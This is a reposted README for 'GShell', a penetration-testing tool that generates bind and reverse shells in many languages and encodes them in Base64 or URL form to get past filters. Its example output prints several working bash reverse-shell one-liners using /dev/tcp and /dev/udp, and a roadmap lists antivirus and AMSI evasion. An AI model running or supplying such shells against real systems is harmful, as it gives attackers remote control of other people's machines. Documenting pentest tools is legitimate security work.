A simple yet flexible cross-platform shell generator tool.

Name: G(Great) Shell

Description: A cross-platform shell generator tool that lets you generate whichever shell you want, in any system you want, giving you full control and automation.

If you find this tool helpful, then please give me a star as it tells me that I should add more features to it.

Is cross-platform, you can use it in operating systems such as:

Unix-based systems
GNU/Linux
Windows
macOS

Generates the following shells:

Bind Shells: The target has a listening port and we connect to the target.
Reverse Shells: We have a listening port and the target connects to us.

Supports the following encodings (as of now):

URL Encoding: Bypass URL filters
Base64/32/16 Encodings: Bypass string/keyword filters
PowerShell Base64 Encoding

Supports the follow IP versions:

IPv4
IPv6

Supported protocols:

TCP
UDP
ICMP

Note: You can add your own shells that use other protocols such as DNS.

Supports the following languages and tools:

PowerShell
Python
Bash
Sh
Perl
Socat
Netcat
Nc
Awk
Lua
NodeJS
OpenSSL
PHP
Ruby
Telnet
Golang
C#
Dart
Groovy
Many more...

It is limitless, feel free to add as many as you desire!

The shells are stored in markdown files as it makes it easy for everyone.

You can add more bind shells by adding markdown code blocks the following file:

shells/bind_shells.md

You can also add more reverse shells by adding markdown code blocks the following file:

shells/reverse_shells.md

These can be one-liners and multi-liners, it doesn't matter. You can even add C# multi-liners code blocks if you want.

Example, replace the IP address and the port placeholders or variables values with these placeholders in your code:

$ip, $port

That's it, now you can add more.

Note: It also offers advice and tips for performing and troubleshooting attacks.

Overview

This is the help menu:

❯ python3 gshell.py --help
usage: gshell.py [-i <IP ADDRESS>] [-p <PORT NUMBER>] [-s <SHELL TYPE>] [-r] [-b]
                 [--base64] [--base32] [--base16] [--url] [--no-block] [--debug] [-l]
                 [-a] [-h]

 ██████  ███████ ██   ██ ███████ ██      ██      
██       ██      ██   ██ ██      ██      ██      
██   ███ ███████ ███████ █████   ██      ██      
██    ██      ██ ██   ██ ██      ██      ██      
 ██████  ███████ ██   ██ ███████ ███████ ███████ 

Generate bind shells and/or reverse shells with style

            Version: 1.0
            Author: nozerobit
            Twitter: @nozerobit

Options:
  -i <IP ADDRESS>, --ip <IP ADDRESS>
                        Specify the IP address
  -p <PORT NUMBER>, --port <PORT NUMBER>
                        Specify the port number
  -s <SHELL TYPE>, --shell <SHELL TYPE>
                        Specify a shell type (python, nc, bash, etc)

Payload Types:
  -r, --reverse         Victim communicates back to the attacking machine
  -b, --bind               Open up a listener on the victim machine

Encoding Options:
  --base64              Add base64 encoding
  --base32              Add base32 encoding
  --base16              Add base16 encoding
  --url                 Add URL encoding

Markdown Options:
  --no-block            Skip ```
                        code
                        blocks
                        ``` while parsing

Help Options:
  -l, --list            List the available shell types
  -a, --advice          Print advice and tips to get connections
  -h, --help            Show this help message and exit

Example, generate bash reverse shells:

❯ python3 gshell.py -i 192.168.145.134 -p 444 -r -s bash
[+] The IPv4 address: 192.168.145.134 is valid.
[+] The port number: 444 is valid.
[+] Shell type is valid
[+] Preparing reverse shells
[+] Generating bash shells
bash -i >& /dev/tcp/192.168.145.134/444 0>&1

0<&196;exec 196<>/dev/tcp/192.168.145.134/444; sh <&196 >&196 2>&196

/bin/bash -l > /dev/tcp/192.168.145.134/444 0<&1 2>&1

bash -i >& /dev/tcp/192.168.145.134/444 0>&1

bash -i >& /dev/udp/192.168.145.134/444 0>&1

Installation in Linux

Clone or download the repository:

git clone https://github.com/nozerobit/gshell

Install the requirements:

python3 -m pip install -r gshell/requirements.txt

Add the tool to the $PATH environment variable:

sudo ln -s $(pwd)/gshell/gshell.py /usr/local/bin/gshell.py && chmod +x /usr/local/bin/gshell.py

Execute the tool:

gshell.py

Installation in Windows

Clone or download the repository:

git clone https://github.com/nozerobit/gshell C:\\Tools

Note: I created a directory named Tools in the C:\ root directory. You can create this directory with the command md C:\Tools.

Install chocolatey with CMD as Administrator:

@powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))" && SET PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin

Install python3 in Windows:

choco install -y python3

Install pip:

python -m pip install --upgrade pip

Install the requirements:

python -m pip install -r gshell/requirements.txt

Note: You can change the directory if you want, just make sure that it contains the gshell project folder.

Change to the project directory:

cd C:\Tools

Execute the tool:

python gshell.py

Contact & Contributing

If you find any issues then you can open an issue, contact me on twitter or discord (preferred).

If you want to contribute then please feel free.

Any feedback is appreciated.

ToDo

For the version 2.0 which should have the following:

Encryptors: To bypass AVs
Obfuscators: To bypass AVs
Anti-AMSI: To bypass AMSI
Shellcode Generator: For shellcode runners, binary explitation, etc.

Download Gshell

from KitPloit - PenTest & Hacking Tools https://ift.tt/mxzIJUM
via hacking

About Admin MC3

This is dummy text. It is not meant to be read. Accordingly, it is difficult to figure out when to end it. But then, this is dummy text. It is not meant to be read. Period.

Gshell - A Flexible And Scalable Cross-Plaform Shell Generator Tool